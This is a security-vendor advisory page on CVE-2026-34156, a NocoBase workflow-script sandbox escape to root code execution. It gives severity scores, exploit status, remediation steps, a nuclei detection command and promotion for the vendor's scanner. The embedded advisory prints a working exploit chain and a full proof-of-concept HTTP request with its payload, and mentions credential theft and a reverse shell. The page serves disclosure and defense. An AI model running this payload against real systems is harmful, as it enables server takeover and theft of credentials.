How severe is CVE-2026-34156?

CVE-2026-34156 has a CVSS score of 9.9/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by CVE-2026-34156?

CVE-2026-34156 affects the following packages: @nocobase/plugin-workflow-javascript (npm). Ecosystems affected: npm.

How do I fix CVE-2026-34156?

Update @nocobase/plugin-workflow-javascript to 2.0.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34156 is resolved across your whole dependency graph.

How do I detect CVE-2026-34156 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nocobase/plugin-workflow-javascript, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-34156 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-34156?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34156 can be triaged on real exposure rather than presence alone.

Is CVE-2026-34156 actively exploited in the wild?

Yes. There are 1 known exploit references for CVE-2026-34156, including 1 documented proof-of-concept exploit on Exploit-DB. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for CVE-2026-34156?

CVE-2026-34156 has an EPSS (Exploit Prediction Scoring System) score of 35.0%, placing it in the 98th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score warrants monitoring and prompt remediation.

What type of vulnerability is CVE-2026-34156?

CVE-2026-34156 is classified as CWE-913 (CWE-913). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

Is there exploit tooling available for CVE-2026-34156?

A Nuclei detection template exists for CVE-2026-34156, meaning automated scanners can fingerprint it. Public exploit tooling significantly increases real-world risk — prioritize patching and ensure detection coverage. Exploit tooling should only ever be used in isolated, authorized testing environments.

When was CVE-2026-34156 published, and has it been updated?

CVE-2026-34156 was published on March 31, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦

📦 npm

Not in CISA KEV

CRITICAL severity

CVE-2026-34156 — @nocobase/plugin-workflow…

CRITICALFix: nocobase/nocobase#8967

CVE-2026-34156 is a critical-severity (CVSS 9.9) CWE-913 vulnerability in @nocobase/plugin-workflow-javascript. 1 public exploit reference exists, so weaponization risk is real. A fix is available for @nocobase/plugin-workflow-javascript — see the affected versions and patch details below.

NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node

Also known asGHSA-px3p-vgh9-m57c

Published

Mar 31, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34156.

EPSS Exploitation Probability

via FIRST.org ↗

35.0%probability of exploitation in next 30 days

Moderate Risk0.00%

Lower risk than most CVEs98th percentile — riskier than 98% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-34156 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

@nocobase/plugin-workflow-javascriptnpm

1Kdownloads / week

Description

## Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

console._stdout.constructor.constructor → host-realm Function constructor
Function('return process')() → Node.js process object
process.mainModule.require('child_process') → unrestricted module loading
child_process.execSync('id') → RCE as root

This completely bypasses the customRequire allowlist.

Impact

Remote Code Execution as root (uid=0) inside Docker container
Database credential theft (DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)
Arbitrary file read/write via require('fs')
Reverse shell confirmed
Outbound network access for lateral movement

Proof of Concept

HTTP Request:

POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json

{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

Docker image: nocobase/nocobase:latest
NocoBase CLI: v2.0.26
Node.js: v20.20.1
OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell

Proof of concept the root privileges

os-release demonstration

App path

Exploit Usage:

Reverse Shell Mode

Dump system information & creds

Remote Command Execution Mode

Remediation

Replace Node.js vm module with isolated-vm for true V8 isolate separation
Do not pass the host console object into the sandbox; create a clean proxy
Run the application as a non-root user inside Docker
Restrict /api/flow_nodes:test to admin-only roles

Alternative Escape Vectors

console._stderr.constructor.constructor (identical chain via stderr)
Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç — Independent Security Researcher, Bilkent University

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`@nocobase/plugin-workflow-javascript`	all versions	2.0.28`npm install @nocobase/plugin-workflow-javascript@2.0.28`

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52552localmultiple

NocoBase 2.0.27 - VM Sandbox Escape

by onurcangencbilkent · May 7, 2026

Exploit-DB Source

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nocobase/plugin-workflow-javascript, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nocobase/plugin-workflow-javascript to 2.0.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34156 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34156 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34156. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

How to detect CVE-2026-34156

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2026-34156 -u https://target

Template: NocoBase - VM Sandbox Escape to Remote Code Execution
Severity: critical
Remediation: Upgrade to NocoBase version 2.0.28 or later. Replace Node.js vm module with isolated-vm for true V8 isolate separation. Do not pass the host console object into the sandbox. Run the application as a non-root user inside Docker. Restrict /api/flow_nodes:test to admin-only roles.

Template by ProjectDiscovery nuclei-templates (theamanrawat), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

`##` Summary NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root. ## Exploit Chain 1. `console._stdout.constructor.constructor` → host-realm `Function` constructor 2. `Functio

O3 Security · Impact-Aware SCA

Is CVE-2026-34156 in your dependencies?

O3 Security finds CVE-2026-34156 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works

CVSS Score

9.9/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Raw vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE Classification

Weaponization

OpenSSF Scorecard

Package health score

nocobase

3.9/10

Maintained10/10

Code-Review0/10

Branch-ProtectionN/A

Assessed Sep 21, 2026

Timeline

Disclosed

Mar 31, 2026

First exploit

May 7, 2026

Last updated

Aug 12, 2026

Identifiers

CVE-2026-34156

GHSA-px3p-vgh9-m57c

References

Advisorygithub.com Advisorygithub.com Advisorynvd.nist.gov Fixgithub.com Webgithub.com Packagegithub.com

Related vulnerabilities

This CVE is critical severity; 6 of 8 other CVEs with CWE-913 are rated as high or higher (top: critical).

GHSA-9w56-46f6-3qhxCVE-2026-47698CVE-2026-48775CVE-2026-53753CVE-2026-47210CVE-2026-47208CVE-2026-47137CVE-2026-47131Browse all CWE-913

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedAug 12, 2026

CVE-2026-34156 — @nocobase/plugin-workflow…

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Exploit Chain

Impact

Proof of Concept

Environment

PoC

Exploit Usage:

Remediation

Alternative Escape Vectors

Reporter

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

How to detect CVE-2026-34156

Frequently Asked Questions

Is CVE-2026-34156 in your dependencies?